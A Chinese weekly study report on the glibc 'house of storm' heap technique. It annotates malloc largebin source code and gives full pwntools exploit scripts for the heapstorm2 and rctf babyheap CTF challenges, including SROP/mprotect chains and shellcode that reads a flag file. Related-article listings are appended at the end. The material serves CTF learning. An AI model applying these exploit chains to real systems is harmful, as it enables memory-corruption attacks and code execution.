house of stom
完成事项
house of stom学习
未完成事项
wmctf的blineless没打通
如何解决未完成事项
下周待做事项
house of orange
house of lore
本周学习的知识分享
house of stom
条件:1.能控制unsorted的bk指针,还有largebin的fd_nextsize和bk_nextsize
码源分析
largebin attack:申请大chunk的时候,会先成unsortedbin中将空闲的chunk链入largebin中,如果我们能控制bk
unsorted链入largbin的流程

会遍历所有的unsortedbin然后把他链在largebin上面,会先把chunk脱链,chunk被链到largebin上之后,会回来把targechunk链入largebin中,但是会对targechun进行检查
//house of stom:直接取出,要在这块伪造的chunk的fd上面填一个合法的地址
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);
但是targechunkd的fd指针要合法
相关码源阅读
else
{
victim_index = largebin_index (size);//计算size在largebin的下标
bck = bin_at (av, victim_index);//根据下标,计算得到堆列表的头指针
fwd = bck->fd;//fwd是bin里面的最大堆块
/* maintain large bins in sorted order */
//fwd==bck的话说明largebin现在没有空闲chunk,如果是空闲直接插入
if (fwd != bck)//
{
/* Or with inuse bit to speed comparisons */
size |= PREV_INUSE;
/* if smaller than smallest, bypass loop below */
assert ((bck->bk->size & NON_MAIN_ARENA) == 0);
//如果申请的chunk小于第一块最小chunk的大小,那就直接插入最小chunk的尾部
if ((unsigned long) (size) < (unsigned long) (bck->bk->size))
{
//入链操作
fwd = bck;
bck = bck->bk;
victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}
else
{
assert ((fwd->size & NON_MAIN_ARENA) == 0);
//遍历fd_nextsize有序链表上的所有chunk
while ((unsigned long) size < fwd->size)
{
fwd = fwd->fd_nextsize;
assert ((fwd->size & NON_MAIN_ARENA) == 0);
}
//找到范围内的chunk,如果相等直接入链
if ((unsigned long) size == (unsigned long) fwd->size)
/* Always insert in the second position. */
fwd = fwd->fd;
//不相等,但是小于上一块chunk,入链有序链
else
{
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;
}
}
else
victim->fd_nextsize = victim->bk_nextsize = victim;
}
mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;//可以把targechunk-8的地址伪造在此处,第一块chunk入largebin之后,targechunk->fd
//就可以被写入一个合法的地址
bck->fd = victim;
开了pie的堆块,高字节是0x55或者0x56,如果是小端序的话,刚好指向size然后-5可以让高字节的0x56填在此处伪造chunk
victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;//
//加入了条件fwd->bk_nextsize->fd_nextsize == fwd
//(targechunk-5-0x18)+0x18+0x10==targechunk-5-0x18
//victim->bk_nextsize=targechunk-0x18-5
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
//(targechunk-0x18-5)->fd_nextsize=victim
伪造的结构

这样我们就可以把targechunk成功链在largebin上面了
0ctf2018_heapstorm

漏洞分析
mmap开辟了一块空间存储size和堆块指针,但是所有的size和堆块指针都会被与mmap的地址进行异或操作,mmap的地址是固定的,就相当于告诉了我们key

edit函数strcpy存在offbynull漏洞,但是他在每个chunk的末尾都加了字符串,也就是我们没办法直接的覆盖prevsize。
#没办法控制prevsize
add(0x28)#0
add(0xaa0)#1
add(0x80)#2
add(0x80)#3
edit(1,0xa00-0x8,b'a'*(0xa00-0x10)+p64(0xa00))
free(1)
edit(0,0x28-0xc,b'a'*(0x28-0xc))#将size位的0xab0改为0xa00
add(0x80)#1
add(0x420)#4
add(0x80)#5
add(0x410)#6
add(0x80)#7
#将刚刚的0xa00大小的chunk
free(1)
free(2)#触发unlink,完成堆块的堆

0xb41中就是chunk1,4,5,6的chunk,我们可以通过修改0xb41的chunk来修改其他的chunk
offbynull构造堆重叠,然后再把两块大chunk先后释放,一块在unsortedbin和一块在largebin
payload = b'a'*0x80+p64(0)+p64(0x431)
payload += p64(0)+p64(mmap_addr)#将mmap_addr的地址挂在bk上,chunk4被挂入largebin之后,会继续遍历unsortedbin上面是否还有存在bin可以挂入largebin中
#largebin
payload += b'a'*(0x420-0x10)
payload += p64(0)+p64(0x91)
payload += b'a'*0x80
payload += p64(0)+p64(0x421)
payload += p64(0)+p64(mmap_addr+8)
payload += p64(0)+p64(mmap_addr-0x18-5)
edit(1,len(payload),payload)
在通过构造的堆重叠进行修改unsortedbin的bk指针和largebin的指针

0x13370800是申请的chunk,他的size位已被修改
接下来就是泄露地址,然后把freehook改成onegadget就行了
from pwn import *
libc=ELF("/home/ly/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
context(os='linux', arch='amd64', log_level='debug')
ly=process("./0ctf_2018_heapstorm2")
#ly=remote("node4.buuoj.cn",27257)
elf = ELF("./0ctf_2018_heapstorm2")
#atoi_got = elf.got['atoi']
def add(size):
ly.sendlineafter(b"Command:",b'1')
ly.sendlineafter(b"Size:",str(size))
def edit(idx,size,content):
ly.sendlineafter(b"Command:",b'2')
ly.sendlineafter(b"Index:",str(idx))
ly.sendlineafter(b"Size:",str(size))
ly.sendafter(b"Content:",content)
def free(idx):
ly.sendlineafter(b"Command:",b'3')
ly.sendlineafter(b"Index:",str(idx))
def show(idx):
ly.sendlineafter(b"Command:",b'4')
ly.sendlineafter(b"Index:",str(idx))
def dbg(content=0):
gdb.attach(ly,content)
pause()
#没办法控制prevsize
add(0x28)#0
add(0xaa0)#1
add(0x80)#2
add(0x80)#3
edit(1,0xa00-0x8,b'a'*(0xa00-0x10)+p64(0xa00))
free(1)
edit(0,0x28-0xc,b'a'*(0x28-0xc))#将0xab0改为0xa00
add(0x80)#1
add(0x420)#4
add(0x80)#5
add(0x410)#6
add(0x80)#7
#将刚刚的0xa00大小的chunk
free(1)
free(2)
#完成堆重叠
mmap_addr = 0x13370800-0x10
add(0xb30)#1 溢出块
payload = b'a'*0x80+p64(0)+p64(0x431)
payload += b'a'*0x420+p64(0)+p64(0x91)
payload += b'a'*0x80+p64(0)+p64(0x421)
payload += b'a'*0x410+p64(0)+p64(0x90+0x90+0xb1)
edit(1,len(payload),payload)
#dbg()
free(6)
add(0x500)#2
free(4)
#unsortbin
payload = b'a'*0x80+p64(0)+p64(0x431)
payload += p64(0)+p64(mmap_addr)#将mmap_addr的地址挂在bk上,chunk4被挂入largebin之后,会继续遍历unsortedbin上面是否还有存在bin可以挂入largebin中
#largebin
payload += b'a'*(0x420-0x10)
payload += p64(0)+p64(0x91)
payload += b'a'*0x80
payload += p64(0)+p64(0x421)
payload += p64(0)+p64(mmap_addr+8)
payload += p64(0)+p64(mmap_addr-0x18-5)
edit(1,len(payload),payload)
add(0x48)#4把mmap从largebin上申请下来
dbg()
payload = p64(0)*3+p64(0x13377331)+p64(mmap_addr+0x10)+p64(0x80)
edit(4,len(payload),payload)
show(0)
ly.recvuntil(": ")
ly.recv(0x60)
xor= u64(ly.recv(8))
main_arena = xor^ (mmap_addr+0x10)
libc_base = main_arena - 0x3c4b78
free_hook = libc_base +libc.sym['__free_hook']
print('free_hook----->',hex(free_hook))
one_gadget = libc_base + 0x4527a
print("one--->",hex(one_gadget))
payload = p64(0)*4+p64(free_hook)+p64(0x8)
edit(0,len(payload),payload)
edit(0,0x8,p64(one_gadget))
#dbg()
free(2)
ly.interactive()
rctf_2019_babyheap
漏洞分析

offbynull,没有限制堆大小,制造堆叠,然后控制unsortedbin和largebin
但是开了沙箱,把_free_hook的地址改成setcontext,然后进行利用这里堆rsp,rdi,rsi等寄存器进行利用,本来手打的payload,看其他师傅的wp是用srop,控制程序执行mproject,再读取shellcode进行orw(还是有收获的!)
先制造堆叠
add(0x28)#0
add(0xaa0)#1
add(0x80)#2
add(0x80)#3
edit(1,b'a'*(0xa00-0x10)+p64(0xa00)+b'\n')
free(1)
edit(0,b'a'*0x28)#将0xab0改为0xa00
add(0x80)#1
add(0x420)#4
add(0x80)#5
add(0x410)#6
add(0x80)#7
#将刚刚的0xa00大小的chunk
free(1)
free(2)
#完成堆重叠
add(0x80)#1
show(4)
#0x7f8c6c252b78 (main_arena+88)
ret=ly.recv()
libc.address=u64(ly.recv(6).ljust(8,b'\x00'))-0x3c4b61-0x17
这里的构造方法其实也跟上面的题目是一样的结构,但是上一道题目已经知道一个mmap的地址,这道题需要泄露基地址,其实也就是堆重叠,然后分割,用show功能泄露
然后接下来就是把__free_hook挂上unsortedbin的bk和largebin上,进行house of stom
add(0xb30)#1 溢出块
payload = b'a'*0x80+p64(0)+p64(0x431)
payload += b'a'*0x420+p64(0)+p64(0x91)
payload += b'a'*0x80+p64(0)+p64(0x421)
payload += b'a'*0x410+p64(0)+p64(0x90+0x90+0xb1)
edit(1,payload)
#这一步是调整一下size位置,以为在free后unlink会检查,也是调了很久,翻了很久码源
free(6)
add(0x500)#2
free(4)
#unsortbin
framechunk=free_hook-0x20
payload = b'a'*0x80+p64(0)+p64(0x431)
payload += p64(0)+p64(framechunk)#将mmap_addr的地址挂在bk上,chunk4被挂入largebin之后,会继续遍历unsortedbin上面是否还有存在bin可以挂入largebin中
#largebin
payload += b'a'*(0x420-0x10)
payload += p64(0)+p64(0x91)
payload += b'a'*0x80
payload += p64(0)+p64(0x421)
payload += p64(0)+p64(framechunk+8)
payload += p64(0)+p64(framechunk-0x18-5)
edit(1,payload)

再次malloc(0x56)就可以把__free_hook申请到
add(0x48)#4把__free_hook从largebin上申请下来
new_addr = free_hook &0xFFFFFFFFFFFFF000
set_context=libc.sym['setcontext']
shellcode1 = '''
xor rdi,rdi
mov rsi,%d
mov edx,0x1000
mov eax,0
syscall
jmp rsi
''' % new_addr
edit(4,b'a'*0x10+p64(set_context+53)+p64(free_hook+0x18)*2+asm(shellcode1))
print("free-+++++++++++++++++----->",hex(free_hook))
print("new_addr-+++++++++++++++++----->",hex(new_addr))
#payload=0x98*b'a'+p64(free_hook+0x10)+
frame = SigreturnFrame()
frame.rsp = free_hook+0x10
frame.rdi = new_addr
frame.rsi = 0x1000
frame.rdx = 7
frame.rip = libc.sym['mprotect']
edit(1, bytes(frame))
#dbg()
free(1)#
shellcode2 = '''
mov rax, 0x67616c66 ;// /flag
push rax
mov rdi, rsp ;// /flag
mov rsi, 0 ;// O_RDONLY
xor rdx, rdx ;
mov rax, 2 ;// SYS_open
syscall
mov rdi, rax ;// fd
mov rsi,rsp ;
mov rdx, 1024 ;// nbytes
mov rax,0 ;// SYS_read
syscall
mov rdi, 1 ;// fd
mov rsi, rsp ;// buf
mov rdx, rax ;// count
mov rax, 1 ;// SYS_write
syscall
mov rdi, 0 ;// error_code
mov rax, 60
syscall
'''
ly.sendline(asm(shellcode2))
ly.interactive()
释放chunk1时,rdi指向chunk1,其实也就是我们布置的srop的地方



完整exp
from pwn import *
ly = process("./pwn")
context(log_level = 'debug', arch = 'amd64', os = 'linux')
elf = ELF("./pwn")
libc=ELF("/home/ly/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
one_gadget_16 = [0x45216,0x4526a,0xf02a4,0xf1147]
def add(size):
ly.sendlineafter(b"Choice: \n",b'1')
ly.sendlineafter(b"Size: ",str(size))
def free(index):
ly.sendlineafter(b"Choice: \n",b'3')
ly.sendlineafter(b"Index: ",str(index))
def show(index):
ly.sendlineafter(b"Choice: \n",'4')
ly.sendlineafter(b"Index:",str(index))
def edit(index, content):
ly.sendlineafter(b"Choice: \n",'2')
ly.sendlineafter(b"Index: ",str(index))
ly.sendafter(b"Content: ",content)
def dbg():
gdb.attach(ly)
pause()
add(0x28)#0
add(0xaa0)#1
add(0x80)#2
add(0x80)#3
edit(1,b'a'*(0xa00-0x10)+p64(0xa00)+b'\n')
free(1)
edit(0,b'a'*0x28)#将0xab0改为0xa00
add(0x80)#1
add(0x420)#4
add(0x80)#5
add(0x410)#6
add(0x80)#7
#将刚刚的0xa00大小的chunk
free(1)
free(2)
#完成堆重叠
add(0x80)#1
show(4)
#0x7f8c6c252b78 (main_arena+88)
ret=ly.recv()
libc.address=u64(ly.recv(6).ljust(8,b'\x00'))-0x3c4b61-0x17
free_hook = libc.sym['__free_hook']
print(hex(free_hook))
free(1)
add(0xb30)#1 溢出块
payload = b'a'*0x80+p64(0)+p64(0x431)
payload += b'a'*0x420+p64(0)+p64(0x91)
payload += b'a'*0x80+p64(0)+p64(0x421)
payload += b'a'*0x410+p64(0)+p64(0x90+0x90+0xb1)
edit(1,payload)
free(6)
add(0x500)#2
free(4)
#unsortbin
framechunk=free_hook-0x20
payload = b'a'*0x80+p64(0)+p64(0x431)
payload += p64(0)+p64(framechunk)#将mmap_addr的地址挂在bk上,chunk4被挂入largebin之后,会继续遍历unsortedbin上面是否还有存在bin可以挂入largebin中
#largebin
payload += b'a'*(0x420-0x10)
payload += p64(0)+p64(0x91)
payload += b'a'*0x80
payload += p64(0)+p64(0x421)
payload += p64(0)+p64(framechunk+8)
payload += p64(0)+p64(framechunk-0x18-5)
edit(1,payload)
add(0x48)#4把mmap从largebin上申请下来
new_addr = free_hook &0xFFFFFFFFFFFFF000
set_context=libc.sym['setcontext']
shellcode1 = '''
xor rdi,rdi
mov rsi,%d
mov edx,0x1000
mov eax,0
syscall
jmp rsi
''' % new_addr
edit(4,b'a'*0x10+p64(set_context+53)+p64(free_hook+0x18)*2+asm(shellcode1))
print("free-+++++++++++++++++----->",hex(free_hook))
print("new_addr-+++++++++++++++++----->",hex(new_addr))
#payload=0x98*b'a'+p64(free_hook+0x10)+
frame = SigreturnFrame()
frame.rsp = free_hook+0x10
frame.rdi = new_addr
frame.rsi = 0x1000
frame.rdx = 7
frame.rip = libc.sym['mprotect']
edit(1, bytes(frame))
dbg()
free(1)
#sleep(0.5)
shellcode2 = '''
mov rax, 0x67616c66 ;// /flag
push rax
mov rdi, rsp ;// /flag
mov rsi, 0 ;// O_RDONLY
xor rdx, rdx ;
mov rax, 2 ;// SYS_open
syscall
mov rdi, rax ;// fd
mov rsi,rsp ;
mov rdx, 1024 ;// nbytes
mov rax,0 ;// SYS_read
syscall
mov rdi, 1 ;// fd
mov rsi, rsp ;// buf
mov rdx, rax ;// count
mov rax, 1 ;// SYS_write
syscall
mov rdi, 0 ;// error_code
mov rax, 60
syscall
'''
ly.sendline(asm(shellcode2))
ly.interactive()
本周自己学习过程中遇到的问题和疑问点
情感、思考、观点
中途几天在应急响应,最后两天hvv了,挺住!
翻了好久码源
在团队的感触和建议
house of stom的更多相关文章
- stom消费kafka消息速度慢的问题
原来代码如下 KafkaSpoutConfig<String, String> kafkaSpoutConfig = KafkaSpoutConfig.builder(kafka_serv ...
- 由提交storm项目jar包引发对jar的原理的探索
序:在开发storm项目时,提交项目jar包当把依赖的第三方jar包都打进去提交storm集群启动时报了发现多个同名的文件错误由此开始了一段对jar包的深刻理解之路. java.lang.Runtim ...
- 配置oozie4.10+hadoop2.5.2
终于将这个神秘的寻象人 oozie 安装配置成功了,这个困扰我好几天, 当看到如下的画面, 我觉得值! 废话少说,看我如何编译和安装过程: (已经将hadoop2.5.2HA 的环境搭建起来了,hiv ...
- Openstack Basic
html,body { } .CodeMirror { height: auto } .CodeMirror-scroll { } .CodeMirror-lines { padding: 4px 0 ...
- 图解Storm
问题导读:1.你认为什么图形可以显示hadoop与storm的区别?(电梯)2.本文是如何形象讲解hadoop与storm的?(离线批量处理.实时流式处理)3.hadoop map/reduce对应s ...
- sed的实际用法举例
sed:Stream Editor文本流编辑,sed是一个“非交互式的”面向字符流的编辑器.能同时处理多个文件多行的内容,可以不对原文件改动,把整个文件输入到屏幕,可以把只匹配到模式的内容输入到屏幕上 ...
- 【原】Storm调度器
Storm入门教程 1. Storm基础 Storm Storm主要特点 Storm基本概念 Storm调度器 Pluggable scheduler(可插拔调度器) Isolation schedu ...
- linux日志审计项目案例实战(生产环境日志审计项目解决方案)
所谓日志审计,就是记录所有系统及相关用户行为的信息,并且可以自动分析.处理.展示(包括文本或者录像) 推荐方法:sudo配合syslog服务,进行日志审计(信息较少,效果不错) 1.安装sudo命令. ...
- hdu 4090 GemAnd Prince
题目大意: 别人说是消消看,至于你玩没玩过.反正我是没玩过的. 就是选择一个钻石,可以消除与它相连的所有钻石.并获得 消除数量*消除数量 的分 思路: 直接暴搜,然后用一个cnt数组表示每一种钻石剩 ...
- 轻松学会文本处理工具之二 linux sed命令
sed命令的语法格式: sed的命令格式: sed [option] 'sed command'filename sed的脚本格式:sed [option] -f 'sed script'fil ...
随机推荐
- 清除 Nuxt 数据缓存:clearNuxtData
title: 清除 Nuxt 数据缓存:clearNuxtData date: 2024/8/6 updated: 2024/8/6 author: cmdragon excerpt: 摘要:本文详细 ...
- 社区6月月报 | Apache SeaTunnel重要更新与优化记录
各位热爱Apache SeaTunnel的小伙伴们,社区6月份月报来啦!这里将记录Apache SeaTunnel社区每月的重要更新,欢迎关注. 月度Merge Stars 感谢以下小伙伴上个月为Ap ...
- JavaScript设计模式样例十七 —— 迭代器模式
迭代器模式(Itrator Pattern) 定义:用于顺序访问集合对象的元素,不需要知道集合对象的底层表示.目的:提供一种方法顺序访问一个聚合对象中各个元素, 而又无须暴露该对象的内部表示.场景:$ ...
- OpenFeign深入学习笔记
OpenFeign 是一个声明式的 Web 服务客户端,它使得编写 Web 服务客户端变得更加容易.OpenFeign 是在 Spring Cloud 生态系统中的一个组件,它整合了 Ribbon(客 ...
- 无法加载nodejs\vue.ps1
发现问题 刚换了电脑之后,安装了node.js.vue/cli,在vscode中使用vue ui命令新建vue项目时,发现报错如下: 分析问题 多番查询后发现,一般此类问题大多出现在第一次运行脚本的电 ...
- 【YashanDB知识库】statement级别的触发器在jdbc接口调用executeBatch时被多次触发
问题现象 某客户使用jdbc接口向yashandb的表A插入数据. 表A上有一个语句级触发器,其内容为在触发时执行alter sequence操作:另外还有一个insert时的行级触发器,其内容为将每 ...
- Blazor开发框架Known-V2.0.10
Known今天迎来了2.0的第11个版本,同时网站网址和板块也进行了一次升级改造,虽不完美,但一直在努力改变,之前一直在完善框架功能,忽略了文档的重要性,所以这次更新了文档和API.交流互动板块也在进 ...
- Figma 学习笔记 – Auto Layout
用途 Auto Layout 有点像 CSS 的 Flex, 它还带有 responsive 的概念.使用它以后可以替代掉不少 constraints 的写法. 用法 一个 parent 抱着多个 c ...
- ASP.NET Core – Web API Versioning
前言 项目持续维护, API 就需要版本控制. ASP.NET Core 有官方的插件专门处理 API 版本控制. 主要参考 Your Guide to REST API Versioning in ...
- golang的类型转换
今天我们来说说一个大家每天都在做但很少深入思考的操作--类型转换. 本文索引 一行奇怪的代码 go的类型转换 数值类型之间互相转换 unsafe相关的转换 字符串到byte和rune切片的转换 sli ...